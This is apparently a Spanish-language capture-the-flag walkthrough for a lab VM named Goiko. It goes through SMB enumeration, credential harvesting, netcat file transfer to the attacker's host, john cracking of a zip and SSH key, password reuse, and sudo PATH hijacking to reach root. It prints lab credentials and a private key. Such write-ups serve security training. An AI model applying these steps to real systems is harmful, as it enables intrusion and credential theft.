GOIKO

```
The ip_address '192.168.16.58' is valid
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 10:51 CET
Nmap scan report for 192.168.16.58
Host is up (0.00046s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol
2.0)
| ssh-hostkey:
|   256 e6:e0:15:63:c4:74:9e:04:7c:95:44:d5:45:c2:b4:4a (ECDSA)
|_  256 44:02:f3:25:5d:f0:b2:f3:2b:71:a3:08:dd:4f:37:72 (ED25519)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10021/tcp open  ftp         vsftpd 2.0.8 or later
MAC Address: 08:00:27:32:63:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-11-11T09:52:28
|_  start_date: N/A
|_clock-skew: 1s
|_nbstat: NetBIOS name: VENTURA, NetBIOS user: <unknown>, NetBIOS MAC:
<unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

//Comenzamos echando un vistado al protocolo smb.

 smbmap -H 192.168.16.58


    ________  ___      ___  _______   ___      ___       __
_______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |
__ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (.
|__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:
____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|
/
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \
/|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/
\___)(_______)
 -----------------------------------------------------------------------
--------
     SMBMap - Samba Share Enumerator | Shawn Evans -
ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
```

```
[+] IP: 192.168.16.58:445       Name: 192.168.16.58
Status: Authenticated
        Disk
Permissions     Comment
        ----                                                    ------
-----     -------
        print$                                                  NO
ACCESS        Printer Drivers
        food                                                    READ
ONLY       Food
        dessert                                                 READ
ONLY       Dessert
        menu                                                    READ
ONLY       Menu
        IPC$                                                    NO
ACCESS        IPC Service (Samba 4.17.12-Debian)
        nobody                                                  NO
ACCESS        Home Directories

// Tenemos 3 recursos donde podemos acceder puesto que tenemos
permisos de lectura.

//Accedemos a cada uno de ellos y descargamos todo.

smbclient //192.168.16.58/food -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed May 15 10:56:53
2024
  ..                                  D        0  Sat Jun  8 09:14:41
2024
  creds.txt                           N      166  Wed May 15 10:56:49
2024

                163042124 blocks of size 1024. 148839468 blocks
available
smb: \> get creds.txt
getting file \creds.txt of size 166 as creds.txt (9.5 KiloBytes/sec)
(average 9.5 KiloBytes/sec)
smb: \> exit


smbclient //192.168.16.58/dessert -N
Try "help" to get a list of possible commands.
smb: \> mget *.txt
Get file comida.txt? y
getting file \comida.txt of size 358 as comida.txt (19.4
KiloBytes/sec) (average 19.4 KiloBytes/sec)
Get file cafe.txt? y
getting file \cafe.txt of size 251 as cafe.txt (81.7 KiloBytes/sec)
(average 28.3 KiloBytes/sec)
Get file creds.txt? y
getting file \creds.txt of size 31 as creds.txt (10.1 KiloBytes/sec)
(average 26.0 KiloBytes/sec)
smb: \> exit


smbclient //192.168.16.58/menu -N
Try "help" to get a list of possible commands.
smb: \> ls
```

```
  .                                   D        0  Wed May 15 10:59:21
2024
  ..                                  D        0  Sat Jun  8 09:14:41
2024
  .cafesinleche                       H       40  Thu Apr 25 22:18:58
2024
  goiko.txt                           N      193  Wed May 15 10:55:21
2024

                163042124 blocks of size 1024. 148839468 blocks
available
smb: \> get goiko.txt
getting file \goiko.txt of size 193 as goiko.txt (10.5 KiloBytes/sec)
(average 10.5 KiloBytes/sec)
smb: \> cd cafesinleche
cd \cafesinleche\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> get .cafesinleche
getting file \.cafesinleche of size 40 as .cafesinleche (2.8
KiloBytes/sec) (average 7.1 KiloBytes/sec)
smb: \>

//Encontramos un login.

cat .cafesinleche
user = marmai
pass = EspabilaSantiaga69

//Probamos con el nuevo login si tenemos mas permisos en samba

smbmap -H 192.168.16.58 -u marmai -p "EspabilaSantiaga69"


    ________  ___      ___  _______   ___      ___       __
_______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |
__ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (.
|__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:
____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|
/
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \
/|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/
\___)(_______)
 -----------------------------------------------------------------------
--------
     SMBMap - Samba Share Enumerator | Shawn Evans -
ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 192.168.16.58:445       Name: 192.168.16.58
Status: Authenticated
        Disk
Permissions     Comment
        ----                                                    ------
-----     -------
```

```
        print$                                                  NO
ACCESS        Printer Drivers
        food                                                    READ
ONLY        Food
        dessert                                                 READ
ONLY        Dessert
        menu                                                    READ
ONLY        Menu
        IPC$                                                    NO
ACCESS        IPC Service (Samba 4.17.12-Debian)
        nobody                                                  NO
ACCESS        Home Directories

//Como tenemos los mismos vamos a probar el login en ssh

ssh marmai@192.168.16.58
The authenticity of host '192.168.16.58 (192.168.16.58)' can't be
established.
ED25519 key fingerprint is
SHA256:O9L129ILz+QPam4Ko5ko5vJrQMtRLZA/GMVooJ562B8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
Warning: Permanently added '192.168.16.58' (ED25519) to the list of
known hosts.
marmai@192.168.16.58's password:
Linux ventura 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1
(2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 14 18:50:08 2024
$ whoami
marmai



//Como pudimos acceder,miramos los posibles usuarios que nos vendrá
bien para mas adelante.

marmai@ventura:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
```

```
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network
Management:/:/usr/sbin/nologin
tss:x:100:107:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-timesync:x:997:997:systemd Time
Synchronization:/:/usr/sbin/nologin
messagebus:x:101:108::/nonexistent:/usr/sbin/nologin
usbmux:x:102:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:103:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:105:112:Avahi mDNS daemon,,,:/run/avahi-
daemon:/usr/sbin/nologin
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/run/speech-
dispatcher:/bin/false
fwupd-refresh:x:107:115:fwupd-refresh
user,,,:/run/systemd:/usr/sbin/nologin
saned:x:108:117::/var/lib/saned:/usr/sbin/nologin
geoclue:x:109:118::/var/lib/geoclue:/usr/sbin/nologin
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:110:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:111:120:colord colour management
daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:112:65534::/run/gnome-initial-setup/:/bin/false
nika:x:1000:1000:nika,,,:/home/nika:/bin/bash
ftp:x:114:122:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
camarero:x:1001:1002::/home/camarero:/bin/bash
gurpreet:x:1002:1003:,,,:/home/gurpreet:/bin/bash
mysql:x:115:124:MySQL Server,,,:/nonexistent:/bin/false
marmai:x:1003:1004::/home/marmai:/bin/sh


//Buscando por el sistema vemos que en el home de marmai dentro del
directorio de ftp tenemos un zip.

home/marmai/ftp$ ls
BurgerWithoutCheese.zip

// Lo descargamos para intentar ver lo que tiene dentro.

nc -nvlp 9999 > BurgerWithoutCheese.zip

nc -q 0 192.168.16.37 9999 < BurgerWithoutCheese.zip

//Lo pasamos a un formato donde john pueda realizar el ataque.

zip2john BurgerWithoutCheese.zip > BurgerWithoutCheese.hash
ver 2.0 efh 5455 efh 7875 BurgerWithoutCheese.zip/id_rsa PKZIP Encr:
TS_chk, cmplen=2027, decmplen=2655, crc=5A090028 ts=90B9 cs=90b9
type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** BurgerWithoutCheese.zip/users PKZIP
Encr: TS_chk, cmplen=47, decmplen=35, crc=8254F58A ts=90C5 cs=90c5
type=0
NOTE: It is assumed that all files in each archive have the same
password.
If that is not the case, the hash may be uncrackable. To avoid this,
use
option -o to pick a file at a time.
```

```
// Una vez hecho ya podemos intentar el ataque donde es un éxito y
vemos que la contraseña es princess95

john --wordlist=/usr/share/wordlists/rockyou.txt
BurgerWithoutCheese.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess95       (BurgerWithoutCheese.zip)
1g 0:00:00:00 DONE (2024-11-12 21:37) 50.00g/s 921600p/s 921600c/s
921600C/s havana..tanika
Use the "--show" option to display all of the cracked passwords
reliably
Session completed.

//Una vez entramos en el zip con la contraseña vemos que contienen 2
ficheros, uno con los usuarios y otra con una clave privada.

unzip BurgerWithoutCheese.zip
Archive:  BurgerWithoutCheese.zip
[BurgerWithoutCheese.zip] id_rsa password:
  inflating: id_rsa
 extracting: users

 cat users
nika
caroline
gurpreet
santi
marsu

cat id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBXM0n9nE
Vk6gCqtDLK2TLDAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQCie60mJGb2
RmUT12iUvk3Q6iqnZjP8qtkbVpw6lnDmJg/scorxnLrpDUFwzt9qC1/WcezXHc2qzDOMEG
rZS81bEX2YDaBZIkoQl3mejPzrT8G+OwQyfvwrl0ZDGSDMBieWzu2dlmEg2qmfZ1vDckDm
jQjVDylmB/b4iVkvdBYpNhGJntdGPUBwrBp8pf/URNC9dRJHyR5OePsG0JLLTKlXIE5VF+
IAywYI6k6xWEWN/NK2H8LM9o9xLAN512zULhpYdaDsSttvLFM7znv4SUioEM2okdZB7GHb
qkyXmDfrWUJbpFItYrmGOW85/yZkVIoHkADFhPtKj6bXfi7bwzJfW+aYieJHBhlQu1JBCM
W5VOQ6Kbm4mEnW/HvYgHbJkOZrvnn+u4mg1nZXqnDJ8+cqe/89ujsqSJmxygwCad2J5Baa
agZCW4ahCwXC4pFwIi2KqdCrcCyXKdocEF0u1OP/+jdIHVrQz6bF/c1zMcLWDUcwRr4zDU
HZBEt4ST+v0u8AAAWQ4NFggc9aKF84OEMPV5IiTIrrp4lkTjNlnwmCB6J/Cu3mZXY3Bkq7
QsJU4pL2KicBB0OGG0ZwmUfmYHleTOQry/e7CgNANmy+UTLy+4Wek/TyELa3PEyhjPPOkk
vyrd+MnvMtLRrCzR6mFFvhYD7y58uwi+PY/9wajGzxqQzRt/p1ybbkTzh1OLbpVqMwfTbU
HYnybm/nftDw/4ayfx7uOPPnmXYj55Ry97wX+jDHIbHtV91ZNKEg0Lo3bl3dVLkthjihk0
UizIyoZeTwE+kujRW3cr87yqvvYLTJLzW74zpwKMJbeK/G5ENuO5qQVoS3WEnMyG7Ebgk5
A5PzBi9eozRmvmyj8q0N63FDvapPDmJqNkXp8RqDoJjJ4d60tHHfSqqk/HR+1uavzBsQla
tw6Hm8OiWF9qhNFd+n0x54gdpkCiUBnuGv7SqYsImcri1L2gIazm5OpGXPuC7E5wkholsB
vio8xIYQSz3TCE2RL3n+b78SXcA8I24bX9gYAjOKszq/UnAfXnHTPHaKxME5x48GFGQYER
ttgiI8MBVVAE2qpEaUQmEWzJHXuufyr+gTcKC+CTIocifH/vc53iTB5YZvp8GdnPYQOPug
hbXCxiL5nkzSHCt18Gr9vafUuztub+Lvh83PjWq/QQSB2mRdcJFTHLfR1joT9CnkXHmzfV
GXVuT4vowuC2MByedYU4bOVMvml+2CBooPFkIGbR10UroOpsBvMQAzhti0Wv2350P7VzNb
7rpbZPRTSySomzBShez1GwRKdRKARr92miiWgLfg+Wn2YiYA6BzzQjg/KrihaYvnGJa7io
Zzf39XLCeivj9eEte7pnEUTqKd2k24KJXpwRXqvTWl6yq+uTmvV60ULYTnmcrd7yxbWW3W
FIr1Fp8EZ59nxENvcC4lLvDvIiA4iqIfw+ccmCrYlScPpdMKG8qLBxN84HVxMgw6d5MPA6
bFQ6RUxNpqc8DLZSfrx+Ft6OZ5ryUJ/FfsA2a7WY8OyeCj4cVcssdAIO9dl3g8dbxzEANi
REqzkoIWKLFYqg/iQEwQX9uCume+mDVvTP/UnknEuEArkF/YqLMXTvB+3nAoreKKfTDd5R
S9CTvmQuPEw1t4R3NC0yml9U8D8G0DTPLR+4JbE95EMDh7vJ+eBr9mAJi/iEUAPFIehcKj
```

```
4yiR1zWcOnPNi1Uk6r4WVHbgvFcu1K9ppXRNOSbjz7mvgKfe8JqURHwBf51ODZWwjhu0j+
K9ShVaNaIILi6oxPi+6V3gJu6zDY6WJQFgoBPQkNhS5Bhi3q2DAPPwRqsW1luJVUIdL5Ls
CQAZlyc/+FvJR7WFWipqVw/eijPNIwkndi0cR5pPLgtuq0FmA8RQSjmqXIc37cmbs+imIj
lJcSx4Ru0NyX4wRBqXONFqIkus5m4XCkPzCs3bGl/BQsGd4bx1sILZeUcz29E8Z+wLkGFg
2KBgBDcHehmtzim1HTlHmQoCe9eLXTxp7YhEJ9PmzbbyBF5AV/QW42XoiIqk/q20/2UWuu
KB7SYcYr800kXgn8m1Vo9refUDOrqoja5rMuHGTFajsBsDzJRpc5xtpNt+pGS51og6rt2J
Wyp/3Kr5rJhXKiTplkv4OMQK4CGkJ4S9GtpXhejDzJDelNX7mxZ6b+Dnjbp7ncK+sMoPyn
dioiBexsnxPHeT2a0SHZO1mbZcLPBA58uu+8M1Gdlan0sUEAtrc3U3qilpnx4mL3S36rxS
M+j8dZ0ZrEt6JoXFrrzQnPT1DI/G+pwU/Ux03VO8aLlu04qcyaqF5wYMx0DxPEuz3haVlx
QchXUnCM8cZXfEt0AasgtdMAGeZpGCmhYJnOnvGRr0fmPeGGIrwWZPZZGXW2EDuK+CDj0T
1FqpsI/n8X/fIuOY44S5tnyvb/Q=
-----END OPENSSH PRIVATE KEY-----

//Como antes, volvemos a convertirlo a un formato donde john pueda
realizar el ataque para posteriormente realizarlo.

ssh2john id_rsa > id_rsa_deco

 cat id_rsa_deco
id_rsa:$sshng$6$16$573349fd9c4564ea00aab432cad932c3$1910$6f70656e73736
82d6b65792d7631000000000a6165733235362d6374720000000662637279707400000
0180000010573349fd9c4564ea00aab432cad932c3000000100000000100000197000
0000077373682d72736100000003010001000001810 0a27bad262466f6466513d76894b
e4dd0ea2aa76633fcaad91b569c3a9670e6260fec728af19cbae90d4170cedf6a0b5fd
671ecd71dcdaacc338c106ad94bcd5b117d980da059224a1097799e8cfceb4fc1be3b0
4327efc2b9746431920cc062796ceed9d966120daa99f675bc37240e68d08d50f29660
7f6f889592f7416293611899ed7463d4070ac1a7ca5ffd444d0bd751247c91e4e78fb0
6d092cb4ca957204e5517e200cb0608ea4eb158458dfcd2b61fc2ccf68f712c0379d76
cd42e1a5875a0ec4adb6f2c533bce7bf84948a810cda891d641ec61dbaa4c979837eb5
9425ba4522d62b986396f39ff2664548a079000c584fb4a8fa6d77e2edbc3325f5be69
889e247061950bb524108c5b954e43a29b9b89849d6fc7bd88076c990e66bbe79febb8
9a0d67657aa70c9f3e72a7bff3dba3b2a4899b1ca0c0269dd89e4169a6a06425b86a10
b05c2e29170222d8aa9d0ab702c9729da1c105d2ed4e3fffa37481d5ad0cfa6c5fdcd7
331c2d60d473046be330d41d9044b78493fafd2ef00000590e0d16081cf5a285f38384
30f5792224c8aeba789644e33659f098207a27f0aede6657637064abb42c254e292f62
a27010743861b46709947e660795e4ce42bcbf7bb0a0340366cbe5132f2fb859e93f4f
210b6b73c4ca18cf3ce924bf2addf8c9ef32d2d1ac2cd1ea6145be1603ef2e7cbb08be
3d8ffdc1a8c6cf1a90cd1b7fa75c9b6e44f387538b6e956a3307d36d41d89f26e6fe77
ed0f0ff86b27f1eee38f3e7997623e79472f7bc17fa30c721b1ed57dd5934a120d0ba3
76e5ddd54b92d8638a1934522cc8ca865e4f013e92e8d15b772bf3bcaabef60b4c92f3
5bbe33a7028c25b78afc6e4436e3b9a905684b75849ccc86ec46e09390393f3062f5ea
33466be6ca3f2ad0deb7143bdaa4f0e626a3645e9f11a83a098c9e1deb4b471df4aaaa
4fc747ed6e6afcc1b1095ab70e879bc3a2585f6a84d15dfa7d31e7881da640a25019ee
1afed2a98b0899cae2d4bda021ace6e4ea465cfb82ec4e70921a25b01be2a3cc486104
b3dd3084d912f79fe6fbf125dc03c236e1b5fd81802338ab33abf52701f5e71d33c768
ac4c139c78f06146418111b6d82223c301555004daaa44694426116cc91d7bae7f2afe
81370a0be0932287227c7fef739de24c1e5866fa7c19d9cf61038fba085b5c2c622f99
e4cd21c2b75f06afdbda7d4bb3b6e6fe2ef87cdcf8d6abf410481da645d7091531cb7d
1d63a13f429e45c79b37d519756e4f8be8c2e0b6301c9e7585386ce54cbe697ed82068
a0f1642066d1d7452ba0ea6c06f31003386d8b45afdb7e743fb57335beeba5b64f4534
b24a89b305285ecf51b044a75128046bf769a289680b7e0f969f6622600e81cf342383
f2ab8a1698be71896bb8a86737f7f572c27a2be3f5e12d7bba671144ea29dda4db8289
5e9c115eabd35a5eb2abeb939af57ad142d84e799caddef2c5b596dd6148af5169f046
79f67c4436f702e252ef0ef2220388aa21fc3e71c982ad895270fa5d30a1bca8b07137
ce07571320c3a77930f03a6c543a454c4da6a73c0cb6527ebc7e16de8e679af2509fc5
7ec0366bb598f0ec9e0a3e1c55cb2c74020ef5d97783c75bc73100362444ab39282162
8b158aa0fe2404c105fdb82ba67be98356f4cffd49e49c4b8402b905fd8a8b3174ef07
ede7028ade28a7d30dde514bd093be642e3c4c35b78477342d329a5f54f03f06d034cf
2d1fb825b13de4430387bbc9f9e06bf660098bf8845003c521e85c2a3e32891d7359c3
a73cd8b5524eabe165476e0bc572ed4af69a5744d3926e3cfb9af80a7def09a94447c0
17f9d4e0d95b08e1bb48fe2bd4a155a35a2082e2ea8c4f8bee95de026eeb30d8e96250
```

```
160a013d090d852e41862dead8300f3f046ab16d65b8955421d2f92ec09001997273ff
85bc947b5855a2a6a570fde8a33cd230927762d1c479a4f2e0b6eab416603c4504a39a
a5c8737edc99bb3e8a6223949712c7846ed0dc97e30441a9738d16a224bace66e170a4
3f30acddb1a5fc142c19de1bc75b082d9794733dbd13c67ec0b906160d8a0600437077
a19adce29b51d3947990a027bd78b5d3c69ed884427d3e6cdb6f2045e4057f416e365e
8888aa4feadb4ff6516bae281ed261c62bf34d245e09fc9b5568f6b79f5033abaa88da
e6b32e1c64c56a3b01b03cc9469739c6da4db7ea464b9d6883aaedd895b2a7fdcaaf9a
c98572a24e9964bf838c40ae021a42784bd1ada5785e8c3cc90de94d5fb9b167a6fe0e
78dba7b9dc2beb0ca0fca7762a2205ec6c9f13c7793d9ad121d93b599b65c2cf040e7c
baefbc33519d95a9f4b14100b6b737537aa29699f1e262f74b7eabc5233e8fc759d19a
c4b7a2685c5aebcd09cf4f50c8fc6fa9c14fd4c74dd53bc68b96ed38a9cc9aa85e7060
cc740f13c4bb3de169597141c85752708cf1c6577c4b7401ab20b5d30019e6691829a1
6099ce9ef191af47e63de18622bc1664f6591975b6103b8af820e3d13d45aa9b08fe7f
17fdf22e398e384b9b67caf6ff4$16$486

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_deco
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH
32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all
loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babygirl         (id_rsa)
1g 0:00:00:01 DONE (2024-11-12 21:48) 0.6493g/s 15.58p/s 15.58c/s
15.58C/s 123456..michelle
Use the "--show" option to display all of the cracked passwords
reliably
Session completed.

//Probamos los usuarios hasta saber que el usuario el cual es dueña la
clave es gurpreet.

 ssh -i id_rsa gurpreet@192.168.16.58
gurpreet@192.168.16.58's password:
Linux ventura 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1
(2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 15 05:41:59 2024 from 192.168.1.35

//En su directorio home existe una nota que nos da una pista a parte
de la primera flag.

gurpreet@ventura:~$ cat nota
- ENGLISH = The database has very simple hashes, please configure it
well.

- CASTELLANO = La base de datos tiene hashes muy sencillos, por favor
configuralo bien.

- CATALA = La base de dades te hashes molt senzills, si us plau
configura be.
```

```
cat user.txt
765d76sdsafs6asf4da0c0f39a14b96d
user:765d76sdsafs6asf4da0c0f39a14b96d

//Entramos a la base de datos con el login de gurpreet y buscamos
hasta encontrar lo interesante.

mysql -u gurpreet -p

show databases;
+--------------------+
| Database           |
+--------------------+
| ceti               |
| information_schema |
| mysql              |
| performance_schema |
| secta              |
| sys                |
+--------------------+

use secta;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [secta]> show tables;
+-----------------+
| Tables_in_secta |
+-----------------+
| integrantes     |
+-----------------+
1 row in set (0.000 sec)

MariaDB [secta]> select * from integrantes;
+----+---------+----------------------------------+
| id | name    | password                         |
+----+---------+----------------------------------+
|  1 | carline | 703ff9a12582b2aaaa3fe7f89bb976c8 |
|  2 | nika    | c6f606a6b6a30cbaa428131d4c074787 |
+----+---------+----------------------------------+

//Una vez encontrados los hashes toca usar alguna herramienta para ver
si podemos obtener las contraseñas en claro.

https://hashes.com/en/decrypt/hash

703ff9a12582b2aaaa3fe7f89bb976c8:lucymylove
Carline:lucymylove

c6f606a6b6a30cbaa428131d4c074787
nika:no identificamos



//Como el usuario Carline no existe y puesto que la contraseña no la
damos obtenido por ninguna herramienta
//Usamos la contraseña de carline en nika y accedemos.
//Con este nuevo usuario si tenemos una forma de poder escalar
privilegios.
```

```
//Para ello encontramos que en el script watchporn.sh podemos
aprovechar el cambiar la variable de entorno para que en vez de
ejecutar el script el comando find ejecute una shell con privilegios
de root sin necesidad de contraseña.

 sudo -l
Matching Defaults entries for nika on ventura:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbi
n\:/bin, use_pty

User nika may run the following commands on ventura:
    (ALL) SETENV: NOPASSWD: /opt/porno/watchporn.sh


cat watchporn.sh

#!/bin/bash
learningbash="Hello World"
echo $learningbash

find source_images -type f -name '*.jpg' -exec chown root:root {} \:

echo "/bin/bash" > /tmp/find

nika@ventura:/opt/porno/source_images$ cat /tmp/find
/bin/bash

chmod 777 /tmp/find

nika@ventura:/opt/porno/source_images$ sudo PATH=/tmp:$PATH
/opt/porno/watchporn.sh

Hello World

root@ventura:/opt/porno/source_images# ls

cat root.txt
gsfds67adsrfs63bnfdmvfsi83


Root:gsfds67adsrfs63bnfdmvfsi83
```